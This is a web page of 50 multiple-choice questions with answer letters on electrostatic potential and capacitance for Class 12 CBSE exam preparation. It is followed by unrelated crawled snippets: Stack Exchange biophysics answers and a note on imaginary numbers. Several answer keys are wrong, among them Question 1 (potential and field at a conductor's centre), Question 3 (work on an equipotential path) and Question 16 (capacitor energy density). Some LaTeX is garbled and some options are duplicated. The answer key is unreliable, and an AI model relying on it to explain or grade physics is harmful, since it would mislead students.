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# Class 12 Physics Chapter 2 Electrostatic Potential and Capacitance MCQ
Class 12 Electrostatic Potential and Capacitance MCQ are one of the best strategies to prepare for the CBSE Class 12 Board exam. If you want to complete a grasp concept or work on one’s score, there is no method except constant practice. Students can improve their speed and accuracy by doing more MCQ on Electrostatic Potential and Capacitance Class 12 which will help them all through their board test.
## Class 12 Electrostatic Potential and Capacitance MCQ
Class 12 Physics MCQ with answers are given here to chapter the Electrostatic Potential and Capacitance. These MCQs are based on the latest CBSE board syllabus and relate to the latest Class 12 Physics syllabus. By Solving these Class 12 MCQs, you will be able to analyze all of the concepts quickly in the chapter and get ready for the Class 12 Annual exam.
Learn Electrostatic Potential and Capacitance class 12 MCQs with answers pdf free download according to the latest CBSE and NCERT syllabus. Students should prepare for the examination by solving CBSE Class 12 Electrostatic Potential and Capacitance MCQ with answers given below.
Question 1. A conducting sphere of radius R is given a charge Q. The electric potential and the electric field at the centre of the sphere respectively are
(a) Zero and [Latex]\fr\frac{Q}{4\pi\varepsilon _{0}R^{2}}[/latex]
(b) [Latex]\fr\frac{Q}{4\pi\varepsilon _{0}R}[/latex] and Zero
(c) [Latex]\fr\frac{Q}{4\pi\varepsilon _{0}R}[/latex] and [Latex]\fr\frac{Q}{4\pi\varepsilon _{0}R^{2}}[/latex]
(d) both are Zero
A
Question 2. A bullet of mass 2 g is having a charge of 2 μC. Through what potential difference must it be accelerated, starting from rest, to acquire a speed of 10 m/s ?
(a) 5 kV
(b) 50 kV
(c) 5 V
(d) 50 V
B
Question 3. Charge q2 is at the centre of a circular path with radius r. Work done in carrying charge q1, once around this equipotential path, would be
(a) $\frac{1}{4\pi \varepsilon {0}}\times\frac{q{1}q_{2}}{r^{2}}$
(b) $\frac{1}{4\pi \varepsilon {0}}\times\frac{q{1}q_{2}}{r}$
(c) Zero
(d) Infinite
B
Question 4. Four electric charges +q,+q, –q and –q are placed at the corners of a square of side 2L (see figure). The electric potential at point A, midway between the two charges +q and +q, is
(a) $\frac{1}{4\pi \varepsilon _{0}}\frac{2q}{L}\left ( 1+\sqrt{5} \right )$
(b)$\frac{1}{4\pi \varepsilon _{0}}\frac{2q}{L}\left ( 1+\frac{1}{\sqrt{5}} \right )$
(c)$\frac{1}{4\pi \varepsilon _{0}}\frac{2q}{L}\left ( 1-\frac{1}{\sqrt{5}} \right )$
(d) Zero
A
Question 5. Two charges q1 and q2 are placed 30 cm apart, as shown in the figure. A third charge q3 is moved along the arc of a circle of radius 40 cm from C to D. The change in the potential energy of the system is $\frac{q_{3}}{4\pi\varepsilon _{0}}$ k, where k is
(a) 8q1
(b) 6q1
(c) 8q2
(d) 6q2
C
Question 6. If potential (in volts) in a region is expressed as V(x, y, z) = 6xy – y + 2yz, the electric field (in N/C) at point (1, 1, 0) is
(a) $-\left ( 2\hat{i}+3\hat{j}+\hat{k} \right )$
(b) $-\left ( 6\hat{i}+9\hat{j}+\hat{k} \right )$
(c) $-\left ( 3\hat{i}+5\hat{j}+3\hat{k} \right )$
(d) $-\left ( 6\hat{i}+5\hat{j}+2\hat{k} \right )$
D
Question 7. Two identical metal plates, separated by a distance d form a parallel-plate capacitor. A metal sheet of thickness d/2 is inserted between the plates. The ratio of the capacitance after the insertion of the sheet to that before insertion is
(a) 2 :1
(b) 2 : 1
(c) 1 : 1
(d) 1 : 2
B
Question 8. Four metallic plates each with a surface area of one side A, are placed at a distance d from each other. The two outer plates are connected to one point A and the two other inner plates to another point B as shown in the figure. Then the capacitance of the system is
(a) $\frac{\varepsilon _{0}A}{d}$
(b) $\frac{2\varepsilon _{0}A}{d}$
(c) $\frac{3\varepsilon _{0}A}{d}$
(d) $\frac{4\varepsilon _{0}A}{d}$
B
Question 9. In brining an electron towards another electron, the electrostatic potential energy of the system
(a) increases
(b) decreases
(c) remains unchanged
(d) becomes zero
A
Question 10. On moving a charge of 20 C by 2 cm, 2 J of work is done. Then the potential difference between the points is
(a) 0.1 V
(b) 8 V
(c) 2 V
(d) 0.5 V
A
Question 11. A positively charged particle is released from rest in an uniform electric field. The electric potential energy of the charge
(a) remains a constant because the electric field is uniform.
(b) increases because the charge moves along the electric field.
(c) decreases because the charge moves along the electric field.
(d) decreases because the charge moves opposite to the electric field.
C
Question 12. Electric potential of earth is taken to be zero, because earth is a good
(a) insulator
(b) conductor
(c) semi-conductor
(d) dielectric
B
Question. 13 Two spherical conductors A and B of radii a and b (b>a) are placed concentrically in air. The two are connected by a copper wire as shown in figure. Then the equivalent capacitance of the system is
(a) $4\pi\varepsilon _{0}\frac{ab}{b-a}$
(b) $4\pi\varepsilon _{0}\left ( a+b \right )$
(c) $4\pi\varepsilon _{0}b$
(d) $4\pi\varepsilon _{0}a$
C
Question 14. n identical capacitors joined in parallel are charged to a common potential V. The battery is disconnected. Now, the capacitors are separated and joined in series. For the new combination:
(a) energy and potential difference both will remain unchanged
(b) energy will remain same, potential difference will become nV
(c) energy and potential both will become n times
(d) energy will become n times, potential difference will remain V.
B
Question 15. A capacitor C1 is charged to a potential difference V. The charging battery is then removed and the capacitor is connected to an uncharged capacitor C2. The potential difference across the combination is
(a)$\frac{VC_{1}}{\left ( C_{1}+C_{2} \right )}$
(b)$V\left ( 1+\frac{C_{2}}{C_{1_{}}} \right )$
(c)$V\left ( 1+\frac{C_{1}}{C_{2_{}}} \right )$
(d)$\frac{VC_{2}}{\left ( C_{1}+C_{2} \right )}$
A
Question 16. In a parallel plate capacitor, the distance between the plates is d and potential difference across plates is V. Energy stored per unit volume between the plates of capacitor is
(a)$\frac{Q^{2}}{2V^{2}}$
(b)$\frac{1}{2}\varepsilon _{0}\frac{V^{2}}{d^{2}}$
(c)$\frac{1}{2}\frac{V^{2}}{\varepsilon _{0}d^{2}}$
(d)$\frac{1}{2}\varepsilon _{0}\frac{V^{2}}{d}$
C
Question 17. Some charge is being given to a conductor. Then, its potential
(a) is maximum at surface.
(b) is maximum at centre.
(c) remains the same throughout the conductor.
(d) is maximum somewhere between surface and centre.
C
Question 18. A 4 mF capacitor, a resistance of 2.5 MW is in series with 12V battery. Find the time after which the potential difference across the capacitor is 3 times the potential diference across the resistor. [Given In (b) = 0.693]
(a) 13.86 s
(b) 6.93 s
(c) 7 s
(d) 14 s
A
Question 19. The ratio of charge to potential of a body is known as
(a) capacitance
(b) inductance
(c) conductance
(d) resistance
A
Question 20. Two identical conducting balls having positive charges q1 and q2 are separated by a distance r.If they are made to touch each other and then separated to the same distance, the force between them will be
(a) less than before
(b) same as before
(c) more than before
(d) zero
C
Question 21. If a capacitor 900 μF is charged to 100 V and its total energy is transferred to a capacitor of capacitance 100 μF then its potential is
(a) 200 V
(b) 30 V
(c) 300 V
(d) 400 V
C
Question 22. A one microfarad capacitor of a TV is subjected to 4000 V potential difference. The energy stored in capacitor is
(a) 8 J
(b) 16 J
(c) 4 × 10–3 J
(d) 2 × 10–3 J
A
Question 23. What is the effective capacitance between points X and Y?
(a) 24 μF
(b) 18 μF
(c) 12 μF
(d) 6 μF
D
Question 24. Equipotential surfaces
(a) are closer in regions of large electric fields compared to regions of lower electric fields.
(b) will be more crowded near sharp edges of a conductor.
(c) will be more crowded near regions of large charge densities.
(d) will always be equally spaced
A
Question 25. A positively charged particle is released from rest in an uniform electric field. The electric potential energy of the charge
(a) remains a constant because the electric field is uniform
(b) increases because the charge moves along the electric field
(c) decreases because the charge moves along the electric field
(d) decreases because the charge moves opposite to the electric field
C
Whoever needs to take the CBSE Class 12 Board Exam should look at this MCQ. To the Students who will show up in CBSE Class 12 Physics Board Exams, It is suggested to practice more and more questions. Aside from the sample paper you more likely had solved. These Class 12 Electrostatic Potential and Capacitance MCQ are ready by the subject specialists themselves.
Question 26. Figure shows some equipotential lines distributed in space. A charged object is moved from point A to point B.
(a) The work done in Fig. (i) is the greatest
(b) The work done in Fig. (ii) is least
(c) The work done is the same in Fig. (i), Fig.(ii) and Fig. (iii)
(d) The work done in Fig. (iii) is greater than Fig. (ii) but equal to that in
C
Question 27. A 2 mF capacitor is charged to 200 volt and then the battery is disconnected. When it is connected in parallel to another uncharged capacitor, the potential difference between the plates of both is 40 volt. The capacitance of the other capacitor is
(a) 2 mF
(b) 4 mF
(c) 8 mF
(d) 16 mF
C
Question 28. An air capacitor C connected to a battery of e.m.f. V acquires a charge q and energy E. The capacitor is disconnected from the battery and a dielectric slab is placed between the plates. Which of the following statements is correct ?
(a) V and q decrease but C and E increase
(b) V remains unchange, but q, E and C increase
(c) q remains unchanged, C increases, V and E decrease
(d) q and C increase but V and E decrease.
C
Question 29. Two capacitors of capacitance C are connected in series. If one of them is filled with dielectric substance k, what is the effective capacitance ?
(a)$\frac{kC}{\left ( 1+k \right )}$
(b)$C\left ( k+1 \right )$
(c)$\frac{2kC}{\left ( 1+k \right )}$
(d)None of these
A
Question 30. A conductor carries a certain charge. When it is connected to another uncharged conductor of finite capacity, then the energy of the combined system is
(a) more than that of the first conductor
(b) less than that of the first conductor
(c) equal to that of the first conductor
(d) uncertain
B
Question 31. When air is replaced by a dielectric medium of force constant K, the maximum force of attraction between two charges, separated by a distance
(a) decreases K-times
(b) increases K-times
(c) remains unchanged
(d) becomes 1/K2 times
A
Question 32. A ball of mass 1 g carrying a charge 10–8 C moves from a point A at potential 600 V to a point B at zero potential. The change in its K.E. is
(a) – 6 × 10–6 erg
(b) – 6 × 10–6 J
(c) 6 × 10–6 J
(d) 6 × 10–6 erg
C
Question 33. Two parallel metal plates having charges + Q and – Q face each other at a certain distance between them. If the plates are now dipped in kerosene oil tank, the electric field between the plates will
(a) remain same
(b) become zero
(c) increases
(d) decrease
D
Question 34. In the electric field of an point charge q, a certain charge is carried from point A to B, C, D and E. Then the work done is
(a) least along the path AB
(b) least along the path AD
(c) zero along any one of the path AB, AC, AD and AE
(d) least along AE
C
Question 35. If a slab of insulating material 4 × 10–5 m thick is introduced between the plates of a parallel plate capacitor, the distance between the plates has to be increased by 3.5 × 10–5 m to restore the capacity to original value. Then the dielectric constant of the material of slab is
(a) 8
(b) 6
(c) 12
(d) 10
A
Question 36. A circuit is connected as shown in the figure with the switch S open. When the switch is closed, the total amount of charge that flows from Y to X is
(a) 0
(b) 54 μC
(c) 27μC
(d) 81 μC
C
Question 37. A parallel plate capacitor of capacitance C is connected to a battery and is charged to a potential difference V. Another capacitor of capacitance 2C is similary charged to a potential difference 2V. The charging battery is now disconnected and the capacitors are connected in parallel to each other in such a way that the positive terminal of one is connected to the negative terminal of the other. The final energy of the configuration is
(a) Zero
(b) $\frac{3}{2}CV^{2}$
(c) $\frac{25}{6}CV^{2}$
(d) $\frac{9}{2}CV^{2}$
B
Question 38. Three capacitors each of capacity 4mF are to be connected in such a way that the effective capacitance is 6 mF. This can be done by
(a) connecting two in parallel and one in series
(b) connecting all of them in series
(c) connecting them in parallel
(d) connecting two in series and one in parallel
D
Question 39. A network of four capacitors of capacity equal to C1 = C, C2 = 2C, C3 = 3C and C4 = 4C are conducted to a battery as shown in the figure. The ratio of the charges on C2 and C4 is
(a) 4/7
(b) 3/22
(c) 7/4
(d) 22/3
B
Question 40. A solid conducting sphere having a charge Q is surrounding by an uncharged concentric conducting hollow spherical shell. Let the potential difference between the surface of the solid sphere and that of the outer surface of the hollow shell be V. If the shell is now given a charge of – 3Q, the new potential difference between the same two surfaces is
(a) V
(b) 2 V
(c) 4 V
(d) – 2 V
A
Question 41. A capacitor of 4 μF is connected as shown in the circuit. The internal resistance of the battery is 0.5W. The amount of charge on the capacitor plates will be
(a) 0 μC
(b) 4 μC
(c) 16 μC
(d) 8 μC
D
Question 42. A condenser of capacity C is charged to a potential difference of V1. The plates of the condenser are then connected to an ideal inductor of inductance L. The current through the inductor when the potential difference across the condenser reduces to V2 is
(a) $\left ( \frac{C\left ( V_{1}^{2}-V_{2}^{2} \right )}{L} \right )^{\frac{1}{2}}$
(b) $\left ( \frac{C\left ( V_{1}-V_{2} \right ) ^{2} }{L} \right )^{\frac{1}{2}}$
(a) $\left ( \frac{C\left ( V_{1}^{2}-V_{2}^{2} \right )}{L} \right )$
(d) $\left ( \frac{C\left ( V_{1}-V_{2} \right )}{L} \right )$
A
Question 43. Equipotentials at a great distance from a collection of charges whose total sum is not zero are approximately
(a) spheres
(b) planes
(c) paraboloids
(d) ellipsoids
A
Question 44. The electrostatic potential on the surface of a charged conducting sphere is 100V. Two statements are made in this regard S1 at any point inside the sphere, electric intensity is zero. S2 at any point inside the sphere, the electrostatic potential is 100V. Which of the following is a correct statement?
(a) S1 is true but S2 is false
(b) Both S1 and S2 are false
(c) S1 is true, S2 is also true and S1 is the cause of S2
(d) S1 is true, S2 is also true but the statements are independant
C
Question 45. Two parallel plate capacitors of capacitances C and 2C are connected in parallel and charged to a potential difference V. The battery is then disconnected and the region between the plates of the capacitor C is completely filled with a material fo dielectric constant K. The potential difference across the capacitors now becomes
(a) 3v/ k + 2
(b) KV
(c) V/K
(d) 3KV
A
Question 46. Two vertical metallic plates carrying equal and opposite charges are kept parallel to each other like a parallel plate capacitor. A small spherical metallic ball is suspended by a long insulated thread such that it hangs freely in the centre of the two metallic plates. The ball, which is uncharged, is taken slowly towards the positively charged plate and is made to touch that plate. Then the ball will
(a) stick to the positively charged plate
(b) come back to its original position and will remain there
(c) oscillate between the two plates touching each plate in turn
(d) oscillate between the two plates without touch them
C
Question 47. The effective capacitance of combination of combination of equal capacitors between points A and B shown in figure is
(a) C
(b) 2C
(c) 3C
(d) C/2
B
Question 48. A parallel plate capacitor is connected to a battery. The quantities charge, voltage, electric field and energy associated with this capacitor are given by Q0, V0, E0, and U0 respectively. A dielectric slab is now introduced to fill the space between the plates with the battery still in connection. The corresponding quantities now given by Q, V, E and U are related to the previous ones as
(a) Q > Q0
(b) V > V0
(c) E > E0
(d) U < U0
A
Question 49. In the circuit given below, the charge in mC, on the capacitor having 5 μF is
(a) 4.5
(b) 9
(c) 7
(d) 15
B
Question 50. A parallel plate capacitor of plate area A and plate separation d is charged to potential difference V and then the battery is disconnected. A slab of dielectric constant K is then inserted between the plates of capacitor so as to fill the space between the plates. If Q, E and W denote respectively, the magnitude of charge on each plate electric field between the plates (after the slab is inserted), and work done on the system, in question, in the process of inserting the slab, then which is wrong ?
(a) Q=$\frac{\varepsilon_{0}AV }{d}$
(b) Q=$\frac{\varepsilon_{0}KAV }{d}$
(c) E=$\frac{V }{Kd}$
(d) W=$\frac{\varepsilon _{0}AV^{2}}{2d}\left ( 1-\frac{1}{K} \right )$
B
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2022-05-24 18:01:13
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http://physics.stackexchange.com/tags/biophysics/new
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# Tag Info
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In lower gravity, you could expect to swim faster I am not answering the other questions as I do not have much more to say which is not already said in other answers. But I do disagree with their conclusion that swimming would be the same. Regarding swimming, one would need a better understanding of swimming motion to decide how much effect can be expected ...
0
Swimming would be nearly identical to a 1g planet, other than the splash being bigger. The forces involved in swimming are largely horizontal, so as long as there is some gravity to keep the water where it belongs you are acting against the viscosity of the water rather than the weight of the water. Might be a problem at very low g as you would splash away ...
1
Interesting question. 1 and 2 I agree with you. 3 - I think swimming would be similar to on earth - from the point of view of floating on the surface what counts is the density and our bodies and water have similar density - we are a bit less dense and float - swimming we force our bodies to go through water against the resistance of the water, which ...
1
1) You'd be able to jump pretty high correct? Two or three times whatever you could on earth? Since you would have the same strength as on earth, the initial kinetic energy of your jump would be the same as on earth. Since your mass is the same as on earth, your initial jump velocity is the same as on earth. Thus the height to which you jump would be ...
0
Well, this one's a bit less tedious and easier to understand. It all depends on how a blender actually works. The most common blenders have a couple of vertical knives as blades included. When these knives rotate, a tornado of air with a vortex is created . The vertical blades push the veggies upwards creating the vortex, the horizontal ones then slice off ...
2
When you push something and it remains at rest your muscles transfer energy through isostatic muscle contraction/respiration. This means that even though the muscles don't move they convert the glucose into respiratory energy for muscle contraction that will be dissipated eventually by heating the surroundings. The only work done is that in contracting the ...
3
There is another problem here. How to shield humans from the hard radiation (high energy protons and neutrons) from the Sun and Galactic cosmic ray sources, once outside the Earth's magnetosphere. Analysis of data from instruments on board the Mars Curiosity spacecraft and on the Rover itself, allowed Zeitlin et al. (2014) to compare the equivalent ...
7
Money certainly is one issue, but it is far from the only issue. It isn't even the biggest issue. Issue #1: Humans need air, water, and food. We can live without air for a few seconds, without water for a few hours, without food for a few days. And then we die. We need air, water, and food. And we don't know how to do that on Mars. There are conjectures ...
0
By definition, work is the energy required by a force to displace something. So, you're not doing any work, you're just cancelling out the force being applied to you. If you wouldn't push back then the other force would be doing work by displacing you. So, your work done basically cancelled out the work done by the other force.
2
In the physics definition of "work done" energy is transferred from one object (the one doing the work) to another object or system. When you push against the stationary stone you apply effort but the energy transfer is all internal to you own body - glucose being metabolized, etc. You get tired but you do no work according to the definition above.
1
In your case, no work is done. Intuitively: If you want to move a wall, you could push on it and you might use a lot of force. The wall isn't moving, and you are simply "wasting" your energy in your muscles. You are not doing any work of any value. If you push a balloon you can push it far without any real effort. You might move it a long way but that ...
1
The size of the image in frequency domain $f_{max}$ is inversely proportional to the grid spacing in real space $\Delta x$. (i.e. the finer step, the hight frequency you can sample). And grid spacing step in frequency domain $\Delta f$ is inversely proportional to size of real space image $x_{max}$ ( i.e. the longer interval of data you have, the more ...
1
Molecular simulation is certainly used in the field of astrobiology. For example, here's a quote from a NASA technical report specifically on Molecular Simulations in Astrobiology: We use computer simulations to address the following, questions about these proteins: (1) How do small proteins (peptides) organize themselves into ordered structures at ...
2
1 horsepower is 746 Watts and was designed to compare the power of steam engines with the work done by horses. You appear to be looking for some comparable number for humans, but of course it depends on the human, so can only be arbitrary. A reasonable comparison for mechanical work done by an engine could be that provided by someone riding a bicycle. An ...
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Gravitational potential is defined such that it is $0$ at infinity, and has negative values at all points other than the one at infinity. So, an object technically has the highest gravitational potential at infinity. (an extremely extremely far distance.) The incline can be considered as path from an area of lower gravitational potential to a higher one. ...
0
The sun gets its energy from the nuclear fusion, mainly the fusion of hydrogen atoms to form helium atoms. This energy passes through the vacuum of space via Electromagnetic radiation. Plants collect some of this radiation and use it to perform photosyntheses, which in turn is used to make carbohydrates and such. You eat that plant or some other animal ...
1
When you walk up a hill, pushing a bicycle or not, you increase your potential energy by spending chemical energy. One of the reasons you need to eat is to ingest fuel, so to speak, that allows you to spend energy on doing your daily tasks. For example, your body can metabolize sugar (most notably glucose) by oxidizing it, which frees energy that you then ...
1
Consider a muscle fibre as a thin rod of "spring constant" K = Y.A/L. Y= modulus of elasticity. Energy stored as potential = 1/2 stress * strain * volume. which is proportional to cube of length. Now jump height achieved = energy/ (mass * g) hence jump height remains unchanged!
Top 50 recent answers are included
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2015-03-02 03:57:03
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http://www.solipsys.co.uk/cgi-bin/sews.py?ImaginaryNumber
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Imaginary Number
No ordinary, "real" number can give a negative result when squared. Hence the equation $x^2+4=0$ has no solution.
The imaginary number $i$ has the property $i^2=-1$
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2020-06-07 08:37:15
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